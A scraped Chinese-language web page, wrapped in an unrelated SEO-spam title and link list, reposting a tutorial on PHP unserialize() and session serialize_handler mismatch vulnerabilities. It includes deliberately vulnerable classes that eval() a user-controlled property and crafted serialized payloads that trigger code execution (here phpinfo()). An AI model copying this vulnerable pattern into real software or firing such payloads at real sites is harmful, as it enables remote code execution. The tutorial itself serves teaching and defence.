当前位置: 首页 > news >正文

那个网站可以做图标一个产品的宣传和推广方案

那个网站可以做图标,一个产品的宣传和推广方案,表单制作小程序,有那些网站做结伴旅游的【序列化简单利用】  serialize() 序列化&#xff1a;使用函数serialize()可将实例序列化为字符串  unserialize() 反序列化&#xff1a;使用函数unserialize()可将序列化的字符串还原 代码示例&#xff1a; <?php class Example {var $var ;function __destruct() {ev…

【序列化简单利用】 

    serialize() 序列化:使用函数serialize()可将实例序列化为字符串
  unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原

代码示例:

<?php
class Example {var $var = '';function __destruct() {eval($this->var);}
}
unserialize($_GET['code']);
?>

漏洞利用:

构造漏洞利用的代码,保存为test.php,获取序列化值为  O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

<?php
class Example {var $var = 'phpinfo();';function __destruct() {eval($this->var);}
}
$a=new Example();
echo serialize($a);
?>

提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}  即可执行phpinfo()

【PHP SESSION反序列化】

   主要原因是: ini_set(‘session.serialize_handler’, ‘php_serialize’);

       ini_set(‘session.serialize_handler’, ‘php’);

       两者处理session的方式不同

<?php
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php'); session_start(); $_SESSION[
"test"]=$_GET["a"]; ?>
//提交?a=1111
输出结果:
php_serialize: a:1:{s:4:"test";s:4:"1111";}
php: test|s:4:"1111";

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
代码示例:
新建test1.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test {var $hi;function __construct(){$this->hi = 'phpinfo();';}function __destruct() {eval($this->hi);}
}
?>
新建test2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["test"]=$_GET["a"];
?>

漏洞利用:

构造利用代码

<?php
class test {var $hi;function __construct(){$this->hi = 'phpinfo();';}function __destruct() {eval($this->hi);}
}
$a=new test();
echo serialize($a);?>

获取反序列化字符串:O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}

步骤一:提交test2.php?a=|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";},

    传入的数据会按照php_serialize来进行序列化:a:1:{s:4:"test";s:43:"|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}

步骤二:然后再访问http://127.0.0.1/test1.php,成功执行phpinfo()

    此时访问test1.php,应用程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:4:"test";s:43:"作为SESSION的key,将O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}作为value,然后进行反序列化,最后就会就会实例化test对象,最后就会执行析构函数中的eval()方法。

 

 

参考文章:

PHP反序列化漏洞  http://wyb0.com/posts/php-deserialization-vulnerabilities/

PHP反序列化 代码执行 https://www.cnblogs.com/yinqin/articles/4962837.html

PHP中SESSION反序列化机制  https://blog.spoock.com/2016/10/16/php-serialize-problem/

http://www.lbrq.cn/news/2496691.html

相关文章:

  • 高端 网站开发交换友情链接的途径有哪些
  • 企业网站建设怎么选择空间聚合搜索引擎入口
  • 腾讯云如何建设网站首页福州seo招聘
  • 可以看所有网站的浏览器网站seo策划
  • 机械手表网站百度推广一级代理商名单
  • 温州网站定制哪家好属于b2b的网站有哪些
  • 做cp和网站运营付费推广外包
  • wordpress表情外贸网站优化公司
  • 常州市网站建设深圳龙岗区布吉街道
  • 郑州建立网站百度大数据
  • 网站收录怎么提高快速排名优化系统
  • 河南便宜网站建设价格兰州seo新站优化招商
  • 网站架构图的制作网络营销到底是个啥
  • 企业网站建站元素googleplay安卓版下载
  • 厂字型布局网站例子中国搜索引擎有哪些
  • 在网站做登记表备案 如果修改优化大师破解版app
  • wdcp拒绝访问网站十大免费无代码开发软件
  • wordpress次级目录ftp廊坊seo关键词优化
  • 好看的学校网站模板免费下载关键词歌词含义
  • 徐州建站软件现在有什么推广平台
  • 网站服务器试用百度的总部在哪里
  • 怎么仿别人的网站近几天发生的新闻大事
  • 网站建设教程答允苏州久远网络产品推广宣传方案
  • 广州企业网站建设推荐网店营销策略有哪些
  • 网站建设咨询公国内新闻最新消息今天
  • 珠海市网站建设公司网站建设与优化
  • html模板网站想做电商应该怎么入门
  • 网站建设推广报价单2023年国际新闻大事件10条
  • 品牌建设网站唐山seo
  • 深圳网站设计公司软文推广多少钱
  • C++模板进阶:从基础到实战的深度探索
  • idea启动java应用报错
  • 优测推出HarmonyOS全场景测试服务,解锁分布式场景应用卓越品质!
  • 疯狂星期四文案网第21天运营日记
  • 【Typora】分享一款很好用的PJ版本的Markdown编辑器
  • 力扣热题100----------53最大子数组和